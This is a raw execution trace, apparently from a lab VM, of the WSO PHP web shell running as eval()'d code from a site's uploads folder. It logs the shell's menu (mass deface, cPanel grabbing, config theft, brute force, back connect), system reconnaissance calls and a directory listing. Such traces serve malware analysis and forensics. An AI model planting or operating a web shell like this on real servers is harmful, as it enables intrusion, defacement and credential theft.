4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	213	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j = 0
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= '/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	216	$cwd_links .= '")\'>var/</a>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	212	$i++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	213	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j = 0
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= '/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	216	$cwd_links .= '")\'>www/</a>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	212	$i++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	213	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j = 0
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= '/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'html/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	216	$cwd_links .= '")\'>html/</a>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	212	$i++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	213	$cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j = 0
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= '/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'var/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'www/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'html/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	215	$cwd_links .= 'uploads/'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	214	$j++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	216	$cwd_links .= '")\'>uploads/</a>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	212	$i++
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	218	$charsets = [0 => 'UTF-8', 1 => 'Windows-1251', 2 => 'KOI8-R', 3 => 'KOI8-U', 4 => 'cp866']
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	219	$opt_charsets = ''
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	221	$opt_charsets .= '<option value="UTF-8" selected>UTF-8</option>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	221	$opt_charsets .= '<option value="Windows-1251" >Windows-1251</option>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	221	$opt_charsets .= '<option value="KOI8-R" >KOI8-R</option>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	221	$opt_charsets .= '<option value="KOI8-U" >KOI8-U</option>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	221	$opt_charsets .= '<option value="cp866" >cp866</option>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	222	$m = ['Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Mass Deface' => 'Sql', 'Adminer' => 'Infect', 'Terminal' => 'Console', 'Mass Title Edit' => 'Massuser', 'Grab Cpanel' => 'Php', 'Get Configs' => 'SafeMode', 'Jumping' => 'StringTools', 'Cgi Telnet' => 'Bruteforce', 'Back Connect' => 'Network']
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	225	$m['Self remove'] = 'SelfRemove'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	226	$menu = ''
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Sec. Info'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'SecInfo\',null,\'\',\'\',\'\')">Sec. Info</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Files'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'FilesMan\',null,\'\',\'\',\'\')">Files</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Mass Deface'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Sql\',null,\'\',\'\',\'\')">Mass Deface</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Adminer'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Infect\',null,\'\',\'\',\'\')">Adminer</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Terminal'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Console\',null,\'\',\'\',\'\')">Terminal</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Mass Title Edit'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Massuser\',null,\'\',\'\',\'\')">Mass Title Edit</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Grab Cpanel'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Php\',null,\'\',\'\',\'\')">Grab Cpanel</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Get Configs'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'SafeMode\',null,\'\',\'\',\'\')">Get Configs</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Jumping'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'StringTools\',null,\'\',\'\',\'\')">Jumping</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Cgi Telnet'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Bruteforce\',null,\'\',\'\',\'\')">Cgi Telnet</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Back Connect'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'Network\',null,\'\',\'\',\'\')">Back Connect</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	227	$k = 'Self remove'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	228	$menu .= '<th>[ <a href="#" onclick="g(\'SelfRemove\',null,\'\',\'\',\'\')">Self remove</a> ]</th>'
4		A						/var/www/html/uploads/wso.php(5) : eval()'d code	229	$drives = ''
5	85	0	0.017543	1253088	php_uname	0		/var/www/html/uploads/wso.php(5) : eval()'d code	237	0
5	85	1	0.017563	1253200
5	85	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	86	0	0.017582	1253200	substr	0		/var/www/html/uploads/wso.php(5) : eval()'d code	237	3	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'	0	120
5	86	1	0.017600	1253296
5	86	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	87	0	0.017619	1253216	php_uname	0		/var/www/html/uploads/wso.php(5) : eval()'d code	237	0
5	87	1	0.017632	1253328
5	87	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	88	0	0.017651	1253328	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	237	1	'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
5	88	1	0.017668	1253488
5	88	R			'Linux+osboxes+5.15.0-60-generic+%2366-Ubuntu+SMP+Fri+Jan+20+14%3A29%3A49+UTC+2023+x86_64'
5	89	0	0.017688	1253536	phpversion	0		/var/www/html/uploads/wso.php(5) : eval()'d code	237	0
5	89	1	0.017701	1253600
5	89	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
5	90	0	0.017718	1253792	date	0		/var/www/html/uploads/wso.php(5) : eval()'d code	237	1	'Y-m-d H:i:s'
5	90	1	0.017785	1256144
5	90	R			'2023-02-12 19:18:27'
5	91	0	0.017805	1255856	viewSize	1		/var/www/html/uploads/wso.php(5) : eval()'d code	237	1	232015802368
6	92	0	0.017820	1255856	sprintf	0		/var/www/html/uploads/wso.php(5) : eval()'d code	293	2	'%1.2f'	216.08155441284
6	92	1	0.017837	1256240
6	92	R			'216.08'
5	91	1	0.017851	1255896
5	91	R			'216.08 GB'
5	93	0	0.017865	1255856	viewSize	1		/var/www/html/uploads/wso.php(5) : eval()'d code	237	1	203172294656
6	94	0	0.017879	1255856	sprintf	0		/var/www/html/uploads/wso.php(5) : eval()'d code	293	2	'%1.2f'	189.21894454956
6	94	1	0.017894	1256240
6	94	R			'189.22'
5	93	1	0.017907	1255896
5	93	R			'189.22 GB'
5	95	0	0.017922	1255856	round	0		/var/www/html/uploads/wso.php(5) : eval()'d code	237	2	87.568300340918	2
5	95	1	0.017936	1255928
5	95	R			87.57
5	96	0	0.017952	1256240	viewPermsColor	1		/var/www/html/uploads/wso.php(5) : eval()'d code	237	1	'/var/www/html/uploads/'
6	97	0	0.017966	1256240	is_readable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	322	1	'/var/www/html/uploads/'
6	97	1	0.017987	1256280
6	97	R			TRUE
6	98	0	0.018001	1256240	is_writable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	324	1	'/var/www/html/uploads/'
6	98	1	0.018018	1256280
6	98	R			TRUE
6	99	0	0.018031	1256240	fileperms	0		/var/www/html/uploads/wso.php(5) : eval()'d code	327	1	'/var/www/html/uploads/'
6	99	1	0.018048	1256304
6	99	R			16895
6	100	0	0.018061	1256264	perms	1		/var/www/html/uploads/wso.php(5) : eval()'d code	327	1	16895
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	306	$i = 'd'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	310	$i .= 'r'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	311	$i .= 'w'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	312	$i .= 'x'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	313	$i .= 'r'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	314	$i .= 'w'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	315	$i .= 'x'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	316	$i .= 'r'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	317	$i .= 'w'
6		A						/var/www/html/uploads/wso.php(5) : eval()'d code	318	$i .= 'x'
6	100	1	0.018178	1256304
6	100	R			'drwxrwxrwx'
5	96	1	0.018192	1256344
5	96	R			'<font color=#e6b000><b>drwxrwxrwx</b></font>'
5	101	0	0.018211	1256776	gethostbyname	0		/var/www/html/uploads/wso.php(5) : eval()'d code	238	1	'localhost'
5	101	1	0.018252	1256856
5	101	R			'127.0.0.1'
4	56	1	0.018271	1251880
4	102	0	0.018280	1251880	hardScandir	1		/var/www/html/uploads/wso.php(5) : eval()'d code	864	1	'/var/www/html/uploads/'
5	103	0	0.018295	1251880	function_exists	0		/var/www/html/uploads/wso.php(5) : eval()'d code	330	1	'scandir'
5	103	1	0.018308	1251920
5	103	R			TRUE
5	104	0	0.018327	1251880	scandir	0		/var/www/html/uploads/wso.php(5) : eval()'d code	331	1	'/var/www/html/uploads/'
5	104	1	0.018361	1252496
5	104	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'wso.php']
4	102	1	0.018382	1252464
4	102	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'wso.php']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	864	$dirContent = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'wso.php']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	867	$sort = [0 => 'name', 1 => 1]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	881	$files = []
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	881	$dirs = []
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	882	$n = 6
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	883	$i = 0
4	105	0	0.018478	1252488	fileowner	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	'.'
4	105	1	0.018494	1252512
4	105	R			0
4	106	0	0.018506	1252472	posix_getpwuid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	0
4	106	1	0.018531	1253272
4	106	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	884	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	107	0	0.018573	1253240	filegroup	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	'.'
4	107	1	0.018587	1253280
4	107	R			0
4	108	0	0.018599	1253240	posix_getgrgid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	0
4	108	1	0.018623	1253896
4	108	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	885	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	109	0	0.018661	1254336	filemtime	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	1	'/var/www/html/uploads/.'
4	109	1	0.018677	1254392
4	109	R			1676247507
4	110	0	0.018690	1254304	date	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676247507
4	110	1	0.018724	1254632
4	110	R			'2023-02-12 19:18:27'
4	111	0	0.018739	1254608	viewPermsColor	1		/var/www/html/uploads/wso.php(5) : eval()'d code	889	1	'/var/www/html/uploads/.'
5	112	0	0.018753	1254608	is_readable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	322	1	'/var/www/html/uploads/.'
5	112	1	0.018770	1254648
5	112	R			TRUE
5	113	0	0.018784	1254608	is_writable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	324	1	'/var/www/html/uploads/.'
5	113	1	0.018800	1254648
5	113	R			TRUE
5	114	0	0.018813	1254608	fileperms	0		/var/www/html/uploads/wso.php(5) : eval()'d code	327	1	'/var/www/html/uploads/.'
5	114	1	0.018827	1254648
5	114	R			16895
5	115	0	0.018839	1254608	perms	1		/var/www/html/uploads/wso.php(5) : eval()'d code	327	1	16895
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	306	$i = 'd'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	312	$i .= 'x'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	314	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	315	$i .= 'x'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	317	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	318	$i .= 'x'
5	115	1	0.018963	1254648
5	115	R			'drwxrwxrwx'
4	111	1	0.018979	1254688
4	111	R			'<font color=#e6b000><b>drwxrwxrwx</b></font>'
4	116	0	0.018996	1254688	filesize	0		/var/www/html/uploads/wso.php(5) : eval()'d code	890	1	'/var/www/html/uploads/.'
4	116	1	0.019011	1254728
4	116	R			4096
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	892	$tmp = ['name' => '.', 'path' => '/var/www/html/uploads/.', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	117	0	0.019050	1254688	is_file	0		/var/www/html/uploads/wso.php(5) : eval()'d code	894	1	'/var/www/html/uploads/.'
4	117	1	0.019069	1254728
4	117	R			FALSE
4	118	0	0.019084	1254688	is_link	0		/var/www/html/uploads/wso.php(5) : eval()'d code	896	1	'/var/www/html/uploads/.'
4	118	1	0.019100	1254752
4	118	R			FALSE
4	119	0	0.019114	1254712	is_dir	0		/var/www/html/uploads/wso.php(5) : eval()'d code	898	1	'/var/www/html/uploads/.'
4	119	1	0.019128	1254752
4	119	R			TRUE
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	883	$i++
4	120	0	0.019152	1254664	fileowner	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	'..'
4	120	1	0.019167	1254688
4	120	R			0
4	121	0	0.019181	1254648	posix_getpwuid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	0
4	121	1	0.019206	1255448
4	121	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	884	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	122	0	0.019248	1254680	filegroup	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	'..'
4	122	1	0.019262	1254720
4	122	R			0
4	123	0	0.019275	1254680	posix_getgrgid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	0
4	123	1	0.019298	1255336
4	123	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	885	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	124	0	0.019334	1255200	filemtime	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	1	'/var/www/html/uploads/..'
4	124	1	0.019350	1255264
4	124	R			1676247507
4	125	0	0.019363	1255168	date	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676247507
4	125	1	0.019397	1255496
4	125	R			'2023-02-12 19:18:27'
4	126	0	0.019412	1255480	viewPermsColor	1		/var/www/html/uploads/wso.php(5) : eval()'d code	889	1	'/var/www/html/uploads/..'
5	127	0	0.019426	1255480	is_readable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	322	1	'/var/www/html/uploads/..'
5	127	1	0.019442	1255520
5	127	R			TRUE
5	128	0	0.019455	1255480	is_writable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	324	1	'/var/www/html/uploads/..'
5	128	1	0.019471	1255520
5	128	R			TRUE
5	129	0	0.019484	1255480	fileperms	0		/var/www/html/uploads/wso.php(5) : eval()'d code	327	1	'/var/www/html/uploads/..'
5	129	1	0.019498	1255520
5	129	R			16895
5	130	0	0.019510	1255480	perms	1		/var/www/html/uploads/wso.php(5) : eval()'d code	327	1	16895
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	306	$i = 'd'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	312	$i .= 'x'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	314	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	315	$i .= 'x'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	317	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	318	$i .= 'x'
5	130	1	0.019626	1255520
5	130	R			'drwxrwxrwx'
4	126	1	0.019640	1255560
4	126	R			'<font color=#e6b000><b>drwxrwxrwx</b></font>'
4	131	0	0.019657	1255560	filesize	0		/var/www/html/uploads/wso.php(5) : eval()'d code	890	1	'/var/www/html/uploads/..'
4	131	1	0.019671	1255600
4	131	R			4096
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	892	$tmp = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	132	0	0.019709	1254736	is_file	0		/var/www/html/uploads/wso.php(5) : eval()'d code	894	1	'/var/www/html/uploads/..'
4	132	1	0.019723	1254776
4	132	R			FALSE
4	133	0	0.019737	1254736	is_link	0		/var/www/html/uploads/wso.php(5) : eval()'d code	896	1	'/var/www/html/uploads/..'
4	133	1	0.019753	1254784
4	133	R			FALSE
4	134	0	0.019770	1254744	is_dir	0		/var/www/html/uploads/wso.php(5) : eval()'d code	898	1	'/var/www/html/uploads/..'
4	134	1	0.019787	1254784
4	134	R			TRUE
4	135	0	0.019832	1254688	array_merge	0		/var/www/html/uploads/wso.php(5) : eval()'d code	899	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
4	135	1	0.019859	1255128
4	135	R			['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	899	$dirs[] = ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	883	$i++
4	136	0	0.019919	1255440	fileowner	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	'.htaccess'
4	136	1	0.019936	1255464
4	136	R			0
4	137	0	0.019949	1255424	posix_getpwuid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	0
4	137	1	0.019975	1256224
4	137	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	884	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	138	0	0.020017	1255456	filegroup	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	'.htaccess'
4	138	1	0.020030	1255496
4	138	R			0
4	139	0	0.020043	1255456	posix_getgrgid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	0
4	139	1	0.020067	1256112
4	139	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	885	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	140	0	0.020103	1255976	filemtime	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	1	'/var/www/html/uploads/.htaccess'
4	140	1	0.020120	1256032
4	140	R			1676247507
4	141	0	0.020134	1255936	date	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676247507
4	141	1	0.020167	1256264
4	141	R			'2023-02-12 19:18:27'
4	142	0	0.020181	1256248	viewPermsColor	1		/var/www/html/uploads/wso.php(5) : eval()'d code	889	1	'/var/www/html/uploads/.htaccess'
5	143	0	0.020195	1256248	is_readable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	322	1	'/var/www/html/uploads/.htaccess'
5	143	1	0.020211	1256288
5	143	R			TRUE
5	144	0	0.020224	1256248	is_writable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	324	1	'/var/www/html/uploads/.htaccess'
5	144	1	0.020241	1256288
5	144	R			FALSE
5	145	0	0.020254	1256248	fileperms	0		/var/www/html/uploads/wso.php(5) : eval()'d code	325	1	'/var/www/html/uploads/.htaccess'
5	145	1	0.020268	1256288
5	145	R			33188
5	146	0	0.020280	1256248	perms	1		/var/www/html/uploads/wso.php(5) : eval()'d code	325	1	33188
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	304	$i = '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	312	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	314	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	315	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	317	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	318	$i .= '-'
5	146	1	0.020394	1256288
5	146	R			'-rw-r--r--'
4	142	1	0.020409	1256328
4	142	R			'<font color=white><b>-rw-r--r--</b></font>'
4	147	0	0.020425	1256328	filesize	0		/var/www/html/uploads/wso.php(5) : eval()'d code	890	1	'/var/www/html/uploads/.htaccess'
4	147	1	0.020439	1256368
4	147	R			64
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	892	$tmp = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']
4	148	0	0.020476	1255952	is_file	0		/var/www/html/uploads/wso.php(5) : eval()'d code	894	1	'/var/www/html/uploads/.htaccess'
4	148	1	0.020495	1255992
4	148	R			TRUE
4	149	0	0.020508	1255896	array_merge	0		/var/www/html/uploads/wso.php(5) : eval()'d code	895	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
4	149	1	0.020532	1256336
4	149	R			['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	895	$files[] = ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	883	$i++
4	150	0	0.020591	1256648	fileowner	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	'data'
4	150	1	0.020606	1256664
4	150	R			0
4	151	0	0.020619	1256624	posix_getpwuid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	0
